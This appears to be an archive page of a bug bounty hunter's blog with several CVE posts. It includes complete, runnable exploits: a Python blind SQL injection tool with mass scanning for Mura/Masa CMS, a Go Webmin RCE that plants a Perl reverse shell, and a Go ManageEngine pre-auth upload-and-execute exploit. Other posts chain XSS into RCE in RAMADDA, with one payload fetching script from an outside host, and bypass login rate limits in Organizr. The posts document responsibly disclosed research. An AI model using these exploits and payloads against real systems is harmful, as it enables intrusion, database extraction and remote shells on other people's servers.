Category Archives: CVE

Mura/Masa CMS – SQL Injection CVE-2024-32640

A while back the illustrious team over at Project Discovery wrote about the discovery of an SQLi in Masa/Mura CMS. It’s a good writeup, so go check it out for the technical details.

Recently, I ran across four instances of this CMS in VDP/BB programs, and after searching for POCs out there, I didn’t find much in the way of a POC that would actually dump a little info to prove exploitation. One of them did download ghauri to do exploitation, but I wanted something standalone.

I do this because I want to make it as easy as possible to reproduce and triage. I seem to have bad luck with triagers on multiple platforms lately, including one that didn’t know how to PIP install a Python package, and one asking how to install Burp. Yes, you read that correctly.

Anyway, there were also some other features I always like to have like single-url scanning or scanning from a file or proxying, etc. So here is what I ended up with, as you can find on my GitHub. This will test for exploitability or retrieve the current username or DB name for MySQL.

#!/usr/bin/env python3

import requests
import argparse
import time
from urllib.parse import quote
from multiprocessing.dummy import Pool
import sys 

requests.packages.urllib3.disable_warnings()

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-32640 MySQL Blind SQL Injection Proof of Concept")
    parser.add_argument('-u', '--url', dest='url', type=str, help='Input URL for single target testing')
    parser.add_argument('-f', '--file', dest='file', type=str, help='File containing a list of URLs')
    parser.add_argument('-p', '--proxy', action='store_true', help='Use a proxy (localhost:8080)')
    parser.add_argument('--dump', dest='dump', choices=['dbname', 'user'], help='Dump specific information (e.g., dbname, user)')
    args = parser.parse_args()

    global proxies
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    } if args.proxy else None

    if args.dump:
        if args.url:
            if args.dump == 'dbname':
                dump_info(args.url, 'DATABASE()', quote('DATABASE()'))
            elif args.dump == 'user':
                dump_info(args.url, 'CURRENT_USER()', quote('CURRENT_USER()'))
        elif args.file:
            with open(args.file, 'r', encoding='utf-8') as fp:
                url_list = [line.strip() for line in fp]
            mp = Pool(10)
            if args.dump == 'dbname':
                mp.map(lambda url: dump_info(url, 'DATABASE()', quote('DATABASE()')), url_list)
            elif args.dump == 'user':
                mp.map(lambda url: dump_info(url, 'CURRENT_USER()', quote('CURRENT_USER()')), url_list)
            mp.close()
            mp.join()
    elif args.url and not args.file:
        poc(args.url)
    elif args.file:
        with open(args.file, 'r', encoding='utf-8') as fp:
            url_list = [line.strip() for line in fp]
        mp = Pool(10)
        mp.map(poc, url_list)
        mp.close()
        mp.join()
    else:
        print(f"Usage:\n\t python3 {sys.argv[0]} -h")

def poc(target):
    """Check if the target is vulnerable using a time-based SQL injection."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    detection_payload = "x%5C%27+AND+%28SELECT+3504+FROM+%28SELECT%28SLEEP%285%29%29%29MQYa%29--+pizzapower"

    data = f"object=displayregion&contenthistid={detection_payload}&previewid=1"

    session = requests.Session()
    start_time = time.time()
    response = session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
    elapsed_time = time.time() - start_time

    if elapsed_time >= 5:
        print(f'[+] The target {target} is vulnerable to SQL injection.')
        with open('result.txt', 'a') as f:
            f.write(target + '\n')
    else:
        print(f'[-] The target {target} does not appear to be vulnerable.')

def dump_info(target, readable_function, encoded_function):
    """Extract specified information (e.g., database name, user) using time-based blind SQL injection for MySQL."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    extracted_info = ""
    print(f"Extracting {readable_function} for {target}...")

    session = requests.Session()

    for i in range(1, 33):  # Assuming max length is 32 characters
        low, high = 32, 126 
        while low <= high:
            mid = (low + high) // 2
            full_sleep_time = 3
            payload = (f"x%5C%27%27+AND+%28SELECT+6666+FROM+%28SELECT%28SLEEP%28{full_sleep_time}-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28{encoded_function}+AS+NCHAR%29%2C0x20%29%29%2C{i}%2C1%29%29%3E{mid}%2C0%2C1%29%29%29%29%29KLkb%29--+pizzapower")
            data = f"object=displayregion&contenthistid={payload}&previewid=1"

            start_time = time.time()
            session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
            elapsed_time = time.time() - start_time
            if elapsed_time >= full_sleep_time:
                low = mid + 1 
            else:
                high = mid - 1 

        if high >= 32:
            extracted_info += chr(high + 1)
            print(f"Extracted so far for {readable_function}: {extracted_info}")
        else:
            break 

    if extracted_info:
        print(f"{readable_function} extracted: {extracted_info}")
        with open(f'{readable_function.lower()}_result.txt', 'a') as f:
            f.write(f'{target}: {extracted_info}\n')
    else:
        print(f"Failed to extract {readable_function} for {target}. Ensure the database type is MySQL.")

if __name__ == '__main__':
    main()

But wait! If you’re in a real big hurry, just run this SQLMap command to dump the current user 🤣

sqlmap -u "https://example.com/index.cfm/_api/json/v1/default/?method=processAsyncObject" \
       --data "object=displayregion&contenthistid=x%5C'*--+Arrv&previewid=1" \
       --level 3 --risk 2 --method POST \
       --technique=T \
       --timeout=5 \
       --dbms=mysql \
       --current-user \
       --batch
yes you should use a vps for bug bounty hunting

Bug Bounty VPS Box Part 2

Yes, you need a bug bounty VPS. Why you may ask? Well here is a list of reasons why.

Bypassing Bans

The truth of the matter is that you’ll likely get banned from sites, or even whole IP blocks, for malicious scanning and/or excessive scanning (i.e. scanning too quickly). Sure, you can likely hack away just fine on a single site manually with Burp from the comfort of your personal computer. But if you’re firing up a scanner, you better think twice. Use a VPS.

Callbacks

Sure, there are a lot of tools out there for long term callbacks like interactsh or bxss, but short term, it may be just easier to use a current server you are SSHd into. You got a blind XSS and you want to load a payload from your server to show impact? Just tail your web server logs.

I’ve even went so far as to deploy my own private Burp Collaborator instance as detailed here – https://portswigger.net/burp/documentation/collaborator/server/private

POCs

If you’re behind NAT on your home network, it’s gonna be hard to connect back to a listener if you somehow got an RCE on a network.

Or maybe you have a CORS bug or Postmesssage XSS and you need to host a POC somewhere. Sure you could forward ports from your router and fiddle around all day, but trust me, it’s way easier to just fire up a $5/month box on Linode and let it run 24/7.

Vertical and Horizontal Scaling Your Bug Bounty VPS Setup

Despite what a lot of people may tell you, essentially all of the leading bug bounty hunters do some sort of mass scanning. Now, with that said, they all do it to a different degree.

Automation is especially essential if you plan on making bug bounty hunting a source of passive, steady, and significant income. But you can’t do all of that without scaling. You need to scan more things faster which requires larger instances and greater numbers of them. Eventually your lowly desktop PC cannot handle all of this work.

For this you’d want to use axiom, or similar tooling.

Experience

This is underrated. No matter if you’re a IT professional with a ‘real’ job or a beginning bug bounty hunter, experience with cloud providers is invaluable. Deploying a server on AWS, Azure, or Linode (my choice for bug hunting) is valuable experience.

So?

Yes, you need a bug bounty VPS. Just use one. They’re cheap. You can even use this link and get a $100 credit at Linode, so it’s essentially free for a while too, haha.

bing created image

Hacking RAMADDA, White Box Web Apps, and Bug Bounty Tips

As mentioned in a previous post, I was the July RotM for the DoD VDP program. I decided I’d try and win again in August, despite not usually focusing on VDPs. I ended up finding RAMADDA running on an in-scope subdomain, and it looked like it had decent amount of functionality, which is always good for hacking. (update – I did not win again, lol).

RAMADDA does all sorts of stuff. It’s kind of a file repository, wiki, CMS and more all under one roof. It’s a pretty fun app. But with all that functionality comes ample opportunity for vulnerabilities. So what do I usually do first when starting in on a web application?

In this case, I Googled around and looked for all the info I could on it, including the Github and official documentation and user guide. Even if you don’t have access to source code, official documentation, user guides, manuals, and so forth are a wealth of knowledge. ALWAYS READ THE DOCS. Sometimes you’ll find just what you need – just like I did in this app.

If you get so lucky as to find an open source app, or an app you can decompile properly, you need to do your best to get debugging working. Debugging will save you a tremendous amount of time throughout the hacking process, but it’ll be particularly handy when troubleshooting why your payloads aren’t working. In this case, RAMADDA is a Java app. Open the cloned ramadda directory in VSCode. Then the following command allowed RAMADDA to run in debug mode.

java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,address=5005,suspend=y -Xmx2056m -DLC_CTYPE=UTF-8 -Dsun.jnu.encoding=UTF-8 -Dfile.encoding=utf-8 -jar /Users/user/Downloads/ramadda/dist/ramaddaserver/lib/ramadda.jar -port 80 -Dramadda_home=/Users/user/.ramadda

After running that command, the terminal window will just sit there until you attach to it. In VSCode you can click run with debugging, add a configuration, and then select Java attach.

Now, if you click to the left of the line numbering, you can set a breakpoint, which will pause the program execution if it gets to that line of code. At one point during testing of this app I had probably forty breakpoints set, and I couldn’t hit any of them. It was somewhat difficult to figure out how the app operates, especially since you can upload all sorts of different types of files in this app. Here is a screenshot from the docs showing all the files you can upload, and this one looks old. There seems to be more options in the newer versions.

A lot of these files have different ways to process them – this is key in one of my exploits.

Anyway, once you’ve downloaded the code, it’s always a good idea to hit it with some sort of static analyzer. I use several, but semgrep would be a good place to start. Sometimes these apps will literally straight up find a legit bug that’ll get you some of that sweet bug bounty cash, but that’s not the norm. What they will do is point you in some interesting directions.

For example, in RAMADDA, one of the static analysis tools reported a bunch of uses of the ProcessBuilder class. ProcessBuilder is kind of the ‘better’ Runtime.exec that we’ve all seen in labs and beginner pentester courses. ProcessBuilder takes a list as input of which the first entry is the command you’re running and the rest of the list are arguments. So that’s where I started looking at the code – every ProcessBuilder in the app, but before we get to that.

Low Hanging Fruit

Generally when I first run an app, I’m proxying everything through Burp Suite and I try to hit as much functionality of the application that I can. I’m manually looking at the HTML/JS on the page. I’m also using Burp Intruder/Gobuster/FFUF to fuzz for dirs, even if I have the code of the app because I probably haven’t looked for every endpoint in the code at this point.

After a couple of hours, I manually found the following XSS.


http://localhost/repository/user/profile?user_id=%3Cbody%20onload=%22eval(atob(%27CmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk=%27))%22%3E

I think I had noticed that he username was reflected onto the page when an incorrect user was entered, or something along those lines, and I ended up with the payload you see. Other payloads may work, too.

After I’ve mapped out as much of the functionality of the application that I can, I’ll run a Burp Active scan and just walk away from my computer and come back the next day. In this case, I found another XSS. Don’t sleep on active scans.

http://localhost/repository/search/type/group?max=10%3cimg%20src%3da%20onerror%3dalert(1)%3e&type=group&output=json

Additionally, during this first stage of testing I noticed that there was a view logs feature in the admin panel. In this panel, HTTP requests and the User-Agent are both logged. Both of those are attacker controlled. It turns out that the request URL is escaped properly, but the User-Agent wasn’t. An XSS payload in the User-Agent header would be stored in the logs which makes it an unauthenticated, stored, and blind XSS. I thought that was a good one.

Screenshot of logs showing an injection.

Better Vulns

Nobody wants to only find XSS. What else was in this app?

Another one of the first places I look in an app is the password reset/change process. If the application doesn’t ask for the user’s password to change their password, then right there you have a great vuln that can often be chained with XSS/CSRF. It turns out this app has a CSRF-like authToken that doesn’t change and was easily obtainable.

In RAMADDA, I was able to hit an authenticated admin with one of the XSS previously mentioned, automate the changing of their password and takeover their account. In this case, a more opsec safe exploit would be to create a whole new admin account, which was also possible. Developers should always prompt for passwords when changing passwords or creating accounts in applications.

Betterer Vulns

What’s next? I want some code execution. But before that let’s talk about docs again. Part of docs are usually installation instructions. For RAMADDA, installation on an AWS Amazon Linux box is pushed hard. Something every bug bounty hunter keeps in mind when it comes to AWS EC2 instances is the forever haunting Metadata SSRF.

If you’re reading this blog post, you probably already know about this, so I’m not going to explain it, but here are some links. At the end of the day, it’s a SSRF that allows an attacker to steal AWS credentials, which is obviously a big issue.

As previously mentioned, RAMADDA hosts data, so obviously a user can upload data, but one interesting thing that RAMADDA can do is download data for you. All the user has to do is put in a URL and RAMADDA will download it for you. This should set off your hacker alarms! Obviously I’m trying all sorts of things. But I’m blocked from requesting local files with different protocols etc. etc. I actually didn’t fully explore this in every spot, but I did find one particular spot in the app that allowed me to make the request and obtain the creds.

I’m a spectacular redactor.

Command Injection in a Downloadable Script

I found a fun feature that essential automatically creates a download script to download everything from the repository. I eventually figured out a way to upload a file with a specially crafted (a hacker’s favorite term) filename, that when jammed into this download script, will execute our commands. It’s just a basic command substitution payload.

$(malicious-command).txt

and here is the script to download normally, without a malicious filename>

export DOWNLOAD_COMMAND="wget  --no-check-certificate ";
export ROOT="http://localhost";
makedir() {
if ! test -e $1 ; then
	mkdir $1;
fi
}
download() {
echo "$1";
touch "$2.tmp"
${DOWNLOAD_COMMAND}  -q   -O  "$2.tmp" "$3"
if [[ $? != 0 ]] ; then
	echo "download failed url:$3"
	exit $?
fi
mv "$2.tmp" "$2"
}
makedir "RAMADDA Data Repository";
#--------------------------------------------------------------------
cd "RAMADDA Data Repository";
touch ".placeholder";
download "downloading metadata for RAMADDA Data Repository" ".this.ramadda.xml" "${ROOT}/repository/entry/show?entryid=a5d6711a-9b23-46e8-979f-1be0c7ce117b&output=xml.xmlentry";
if ! test -e "test.txt" ; then
download "downloading test.txt (0 bytes)" "test.txt" "${ROOT}/repository/entry/get/test.txt?entryid=d0ad8b0d-0a48-4d4c-b1bb-76a2d356bb13";
else
	echo "File test.txt already exists";
fi
download "downloading .test.txt.ramadda.xml" ".test.txt.ramadda.xml" "${ROOT}/repository/entry/show?entryid=d0ad8b0d-0a48-4d4c-b1bb-76a2d356bb13&output=xml.xmlentry";
makedir "Data";
#--------------------------------------------------------------------
cd "Data";
touch ".placeholder";
download "downloading metadata for Data" ".this.ramadda.xml" "${ROOT}/repository/entry/show?entryid=15c762c1-707c-4a3c-a788-06e389ef347b&output=xml.xmlentry";
cd ..;
makedir "Users";
#--------------------------------------------------------------------
cd "Users";
touch ".placeholder";
download "downloading metadata for Users" ".this.ramadda.xml" "${ROOT}/repository/entry/show?entryid=ebceaa33-341d-42e9-9562-7718c81a24b9&output=xml.xmlentry";
cd ..;
makedir "Projects";
#--------------------------------------------------------------------
cd "Projects";
touch ".placeholder";
download "downloading metadata for Projects" ".this.ramadda.xml" "${ROOT}/repository/entry/show?entryid=b29ffb57-99cf-4d82-9071-fd586e7c31ef&output=xml.xmlentry";
cd ..;

So, essentially everywhere you see test.txt would instead have $(malicious-command).txt. Here what happens when I upload $(uname -a).txt. You can see the output of the command there. So, a malicious user could upload files with malicious names, and if someone downloads and runs this script, they’ll execute whatever code the malicious user inserted.

RCE

It turns out that an admin in this application has the ability to add what is called properties. Properties can be all sorts of things, but especially interesting is that properties can be used to direct the application to an executable file.

In my case, I found that I was able to specify the location of a binary that would “slice” images up to make them zoomable. At first glance this seemed insecure, but in order to exploit it, I’d have to jump through some hoops.

The above is the line of code where we injected the path to our binary, specifically splicer is controlled by us.

In order to do this, I had to do the following activities

1 – An admin user gets hit with one of the XSS above that downloads a malicious payload which does the following, resulting in remote code execution. 

2 – Uploads a malicious script. 

3 – Navigates to admin -> system -> system disk and obtains the storage directory (where our file is actually on disk).

4 – Navigates to admin -> settings -> file system access and adds the storage directory (so our file will show up in the repository with its real name).

5 – navigates to admin -> harvesters and sets up a file system harvester for the storage directory – This is to leak the exact filename that we will need in the future. The filename is something like UUID_file_injection.sh. The filename gets changed on disk when we upload it, though in the GUI it’ll remain the same as we named it. A harvester essentially populates our repo based on the path we give it, so now our file with a changed name will show up.

6 – Return to the homepage and parse it to find the filepath. It will look like this /{storage-directory-from-earlier}/y2023/m8/d22/UUID_file_injection.sh or something along those lines. We need this exact filepath.

7 – Navigates to admin -> site and contact information -> properties and adds a property ramadda.image.slicer=/{storage-directory-from-earlier}/y2023/m8/d22/UUID_file_injection.sh

8 – Navigates to file upload and uploads a zoomable image. 

9 – The zoomable image triggers RCE due to processBuilder call in ZoomifyTypeHandler.java on line 98/99 as seen in the screenshot above.

Here is the reflected XSS link that performs the RCE. It loads a payload from pizzapower.org.

http://localhost/repository/user/profile?user_id=%3Cbody%20onload=%22eval(atob(%27dmFyIHhocj1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4aHIub3BlbignR0VUJywnaHR0cHM6Ly9waXp6YXBvd2VyLm9yZy9wYXlsb2FkLmpzJyx0cnVlKTt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQmJnhoci5zdGF0dXM9PTIwMCl7YWRkU2NyaXB0VG9QYWdlKHhoci5yZXNwb25zZVRleHQpO319O3hoci5zZW5kKCk7ZnVuY3Rpb24gYWRkU2NyaXB0VG9QYWdlKHNjcmlwdENvbnRlbnQpe3ZhciBzY3JpcHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7c2NyaXB0LnR5cGU9J3RleHQvamF2YXNjcmlwdCc7c2NyaXB0LnRleHQ9c2NyaXB0Q29udGVudDtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHNjcmlwdCk7fQo=%27))%22%3E

And here is a video of it in action.

In reality, it would probably be easier to create an admin account and do this manually, haha. I’d post the exploit code here, but it was about 400 lines of gibberish that I’m very sensitive as to the quality of.

As mentioned earlier, always read the documentation. I fiddled around for hours just trying to manually figure this all out. After I looked at the docs – bam RCE.

Anyway, I thought RAMADDA was cool app. The developer fixed everything in like four hours. Go check it out if you have need for an app like this!

And if we can take a few things away from this for bug bounty and white box testing there are:

  • Always read the docs.
  • Always get debugging going.
  • Always static and dynamically analyze.
  • Always analyze JS files (though I didn’t do much of that here).

Have fun!

Updates: Ended up reporting this to the DoD and Department of Commerce programs, neither of which are paid. I did get an ack on this page, though.

PyMedusa OS Command Injection

PyMedusa is a well-known video library manager that many of us self-hosted types may use to organize our libraries. I decided to give it a spin one day and found a classic OS command injection as seen here. I reported it ASAP, though I was a little confused as to how to fix it at that time, but the team fix it quite quickly. A great response time!

Sometimes people may say, “Hey, the OSCP is worthless and you won’t find anything like that IRL.” To that I’d reply, “You’d be surprised.” Also, this is a good example of OSWE level security issues. This is a Python app that you can simply clone, install the requirements, and debug easily in VSCode.

This was given CVE-2023-28627.

Self-Hosted Security Part ? – Poor Rate Limiting in Organizr

Organizr is a self-hosted application written in PHP that basically helps you self-host other services at your home. It’s nifty application with a surprisingly large amount of functionality. I was recently poking at it to find some security holes, and the first thing I ran across was a rate limiting issue on the login function.

When making a POST request to login, there is a body parameter called loginAttempts. If your login fails, the value of this parameter is incremented (via client side JS) and included in the next login request. When the value reaches a certain number, which is verified in PHP on the backend, the user is locked out.

You can probably see where this is going. Just send it to Burp intruder and never increment the value. Tada!

POST request to login showing the loginAttemps parameter in the request body
loginAttempts is set to 1 and the request is sent to Burp Intruder for brute forcing

The PHP backend will always see the value of loginAttempts as 1, and brute forcing is allowed to occur.

The same endpoint and method is used to rate-limit 2FA code entry, which allows an attacker to also brute force a 2FA code. This takes a bit of time – I haven’t done the math – but it still works. An attacker can just sit back and fire away with Burp Intruder. A successful login will generate cookies that will work for their specified amount of time.

Burp screenshot showing the response when a successful 2FA code is submitted
Burp screenshot showing the response when a successful 2FA code is submitted

This issue has been reported on https://huntr.dev.

Webmin CVE-2022-0824 RCE in Golang

I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.

https://nvd.nist.gov/vuln/detail/CVE-2022-0824

https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/

https://www.webmin.com/security.html

You can also find this code on my Github.

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
)

func check(e error) {
	if e != nil {
		fmt.Println(e)
	}
}

func makePayload(callbackIP string, callbackPort string) {
	payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
	err := os.WriteFile("./commands.cgi", payload, 0644)
	check(err)

	return
}

func login(client http.Client, target string, creds string) string {

	loginURL := target + "/session_login.cgi"

	params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]

	request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("Cookie", "redirect=1; testing=1")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	var sidCookie = ""

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {

		sidCookie = resp.Request.Response.Cookies()[0].Value
	}
	resp.Body.Close()
	// now use sid cookie to make sure it works to log in
	request, err = http.NewRequest("GET", target, nil)
	request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)

	resp, err = client.Do(request)
	if err != nil {
		log.Fatalln(err)
	}
	bodyBytes, err := io.ReadAll(resp.Body)
	bodyString := string(bodyBytes)
	resp.Body.Close()
	r, _ := regexp.Compile("System hostname")
	if !r.MatchString(bodyString) {
		fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
		return ""
	}

	return sidCookie
}

func runServer(serverURL string) {
	fmt.Println("--> Running a server on " + serverURL)
	serverPort := strings.Split(serverURL, ":")[1]

	exec.Command("setsid",
		"/usr/bin/python3",
		"-m",
		"http.server",
		serverPort,
		"0>&1 &").Output()

	fmt.Println("--> Server Started!")

	return
}

func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {

	URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"

	serverIP := strings.Split(serverURL, ":")[0]
	serverPort := strings.Split(serverURL, ":")[1]

	bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
	modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"

	bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func execShell(client http.Client, target string, sid string) {
	fileLocation := target + "/commands.cgi"

	fmt.Println("--> Triggering shell. Check listener!")

	request, err := http.NewRequest("GET", fileLocation, nil)
	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func stopServer() {
	out, _ := exec.Command("kill",
		"-9",
		"$(lsof",
		"-t",
		"-i:{self.pyhttp_port})").Output()
	fmt.Println("--> Killed Server!")
	output := string(out[:])
	fmt.Println(output)

	return
}

func main() {
	fmt.Println("--> Running Exploit! Ensure listener is running!")
	if runtime.GOOS == "windows" {
		fmt.Println("Can't Execute this on a windows machine")
		return
	}

	target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
	creds := flag.String("c", "username:password", "Format, username:password")
	serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
	callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
	callbackPort := flag.String("p", "9999", " Callback port to receive revshell")

	flag.Parse()

	// uncomment the following to use a local proxy
	// proxyUrl, err := url.Parse("http://localhost:8080")
	// check(err)

	// tr := &http.Transport{
	// 	TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
	// 		MaxVersion: tls.VersionTLS11},
	// 	Proxy: http.ProxyURL(proxyUrl),
	// }
	// client := &http.Client{Transport: tr}

	// comment out these two lines if using the proxy above.
	tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
	client := &http.Client{Transport: tr}

	makePayload(*callbackIP, *callbackPort)
	sid := login(*client, *target, *creds)
	runServer(*serverURL)
	downloadURL(*client, *target, *serverURL, *creds, sid)
	modifyPermissions(*client, *target, *serverURL, *creds, sid)
	execShell(*client, *target, sid)
	stopServer()
}

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}

The Incredibly Insecure Weather Station – Part 2

Edit: The weather station issues were given CVE-2022-35122.

I contacted the manufacturer in regards to these issues. They responded quickly. I wasn’t expecting anything to be done about the issues that I brought up, but they did do something…

I logged into my weather station yesterday, an lo and behold, there is an update. Most notably the following, “added password encryption for HTTP transmission.”

Screenshot from the app itself showing the update notes.

Encryption for the password during HTTP transmission? What does this even mean? HTTPS? Why wouldn’t they just say HTTPS? Just encrypting the password client side and sending it to the station for decryption? That seems odd. I was hoping for HTTPS, but I would soon be let down.

curl request from before and after the ‘upgrade’

Before updating, I decided to try and make the curl request as I had done before to the get_device_info endpoint. As before, the password to the system was returned.

Next, I upgraded the device and then made the same request. Would you look at that, the APpwd now does look ‘encrypted.’ But, as you may have guessed, it is actually just base 64 encoded.

V2VhdGhlcjI0Njg5 –> Weather24689

bae64 decoding

Or, using jq, you can do this all on the CLI.

I think this is a losing battle.

The Incredibly Insecure Weather Station

Edit: This was given CVE-2022-35122.

I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.

However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?

Comically, the landing page of the weather station’s server gives an illusion of some sort of security.

Password goes here.

Let’s intercept a request of us logging in.

Don’t steal my password.

This is all over HTTP. We post our password to /set_login_info – which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.

Anyway, after logging in, we are directed to /liveData.html. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.

Click the Local Network link on the left-hand side.

If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info endpoint. This returns info about the WiFi network to which the weather station is connected.

That’s my WiFi SSID and password.

Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint

Uh oh.

Or how about the device password (not that you actually need the password now).

The password is now Weather24689 because I changed it without being authorized.

You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.

